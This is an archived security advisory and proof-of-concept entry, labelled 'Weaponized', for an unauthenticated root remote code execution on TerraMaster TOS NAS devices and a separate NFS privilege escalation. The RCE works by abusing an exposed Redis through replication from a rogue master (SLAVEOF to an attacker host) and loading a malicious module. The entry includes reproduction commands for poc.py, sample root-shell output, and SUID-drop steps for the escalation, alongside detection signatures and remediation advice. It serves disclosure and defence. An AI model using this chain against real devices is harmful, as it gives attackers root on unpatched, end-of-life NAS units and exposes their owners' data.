TossUp — TerraMaster TOS Unauthenticated Redis Root RCE + NFS LPE
by Aaron Esau / V12 security team (v12.sh) · 2026-05-18
- Severity
- Critical
- CVE
- N/A (vendor confirmed TOS4 is EOL; no fix planned)
- Category
- network
- Affected product
- TerraMaster TOS3_A1.0 4.2.41, Redis 4.0.10
- Affected versions
- TOS3_A1.0 4.2.41 (RTD1296/AArch64); other builds likely affected if same init path
- Disclosed
- 2026-05-18
- Patch status
- unpatched
Tags
References
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-05-18 |
| Last Updated | N/A |
| Author / Researcher | Aaron Esau / V12 security team (v12.sh) |
| CVE / Advisory | N/A (vendor confirmed TOS4 is EOL; no fix planned) |
| Category | network |
| Severity | Critical |
| CVSS Score | N/A |
| Status | Weaponized |
| Tags | RCE, unauthenticated, Redis, TerraMaster, NAS, AArch64, root, module-loading, replication-abuse, NFS, no_root_squash, LPE, network |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | TerraMaster TOS3_A1.0 4.2.41, Redis 4.0.10 |
| Versions Affected | TOS3_A1.0 4.2.41 (RTD1296/AArch64); other builds likely affected if same init path |
| Language / Platform | Python 3, C (AArch64 cross-compile); target: Linux/AArch64 NAS |
| Authentication Required | No |
| Network Access Required | Yes (TCP/6379 to NAS; NAS must be able to connect back to attacker) |
Summary
TossUp is a pair of bugs against TerraMaster TOS NAS devices. The primary issue is that Redis 4.0.10 runs as root and listens on 0.0.0.0:6379 with no authentication — despite /etc/redis.conf containing bind 127.0.0.1, the init script starts Redis as redis-server *:6379 without referencing the config file. An unauthenticated remote attacker with access to TCP/6379 can use standard Redis replication to deliver a malicious AArch64 Redis module, load it, and execute arbitrary commands as root. A separate NFS no_root_squash misconfiguration enables a local privilege escalation for unprivileged NAS users; it is independent of the RCE (which already runs as root).
Vulnerability Details
Root Cause
RCE: Init script misconfiguration — Redis starts with redis-server *:6379 instead of redis-server /etc/redis.conf, ignoring the intended bind restriction and leaving Redis exposed with no authentication.
LPE: NFS export allows remote root to create root-owned, setuid files on the NAS (no_root_squash). Any local NAS user can then execute the dropped binary to obtain a root shell.
Attack Vector
RCE chain:
- Connect to
NAS_IP:6379(no auth). CONFIG SET dir /tmp+CONFIG SET dbfilename .<random>.so— point Redis dump path at a writable location.SLAVEOF <attacker_ip> <port>— make the NAS replicate from an attacker-controlled rogue master.- Rogue master sends the compiled AArch64 Redis module as the RDB bulk payload; Redis writes it to
/tmp/.<random>.so. MODULE LOAD /tmp/.<random>.so— registers asystem.execRedis command.system.exec <cmd>— runs arbitrary shell commands viapopen()as root.
LPE chain:
- Mount the NFS export from the client as root.
- Copy a static AArch64 SUID helper, set owner
0:0, mode4755. - NAS retains attributes (no squash). Any local NAS user executes the helper for a root shell.
Impact
RCE: Unauthenticated remote root code execution on any exposed TerraMaster TOS NAS device. LPE: Any low-privilege local NAS user can escalate to root via the NFS export.
Environment / Lab Setup
OS: Linux (attacker, any arch)
Target: TerraMaster TOS3_A1.0 4.2.41, Redis 4.0.10, RTD1296 (AArch64)
Tools: python3, aarch64-linux-gnu-gcc (for cross-compile), redis-cli
Ports: TCP/6379 reachable from attacker; NAS must reach back to attacker
Setup Steps
| |
Proof of Concept
Step-by-Step Reproduction (RCE)
Build the module
1cd rce && makeRun a single command as root
1python3 rce/poc.py <NAS_IP> --cmd "id"Interactive root shell loop
1python3 rce/poc.py <NAS_IP>If the NAS cannot route back automatically, specify attacker IP
1python3 rce/poc.py <NAS_IP> --lhost <ATTACKER_IP> --cmd "id"
Step-by-Step Reproduction (LPE)
| |
Exploit Code
See
rce/poc.pyandrce/module.cfor the RCE;lpe/suid.candlpe/drop.shfor the LPE.
Expected Output
[*] connecting to <NAS_IP>:6379
[*] redis_version: 4.0.10
[*] starting rogue master on <ATTACKER_IP>:<port>
[*] sent SLAVEOF — waiting for replication
[*] delivered module payload (XXXX bytes)
[*] restored Redis state
[*] loading module: /tmp/.<random>.so
[+] system.exec ready
root@<NAS_IP># id
uid=0(root) gid=0(root) groups=0(root)
Screenshots / Evidence
Detection & Indicators of Compromise
redis-cli -h <NAS_IP> INFO server | grep tcp_port
grep -i "slaveof\|module load" /var/log/redis/redis.log
ls -la /tmp/*.so 2>/dev/null
redis-cli MODULE LIST
Network signature:
alert tcp any any -> any 6379 (msg:"Redis SLAVEOF to external host"; content:"SLAVEOF"; nocase; sid:9000010;)
alert tcp any any -> any 6379 (msg:"Redis MODULE LOAD"; content:"MODULE"; nocase; content:"LOAD"; nocase; distance:0; sid:9000011;)
Remediation
| Action | Detail |
|---|---|
| Patch | Vendor (TerraMaster) confirmed TOS4 EOL — no fix planned |
| Workaround (RCE) | Block TCP/6379 from untrusted networks; fix init script to use /etc/redis.conf; require Redis authentication; disable CONFIG, SLAVEOF, MODULE commands |
| Workaround (LPE) | Add root_squash to NFS exports; avoid writable exports to untrusted clients |
| Config Hardening | Run Redis as an unprivileged service user; rename or disable dangerous Redis commands |
References
Notes
Auto-ingested from v12-pocs/terramaster on 2026-05-18.
Two separate bugs bundled as “TossUp”:
- Redis unauthenticated root RCE via replication + module loading (network-exploitable, no credentials).
- NFS
no_root_squashLPE (local, independent of the RCE — RCE already runs as root).
The RCE does not require the LPE; they are independent issues on the same device. Vendor confirmed EOL with no intent to patch. Network isolation (firewall TCP/6379) is the practical first line of defense for affected owners.
A separate authentication bypass (likely upgradable to RCE) was noted by the researchers but not yet released at time of ingest.
Discovered autonomously with V12 by Aaron Esau of the V12 security team.
| |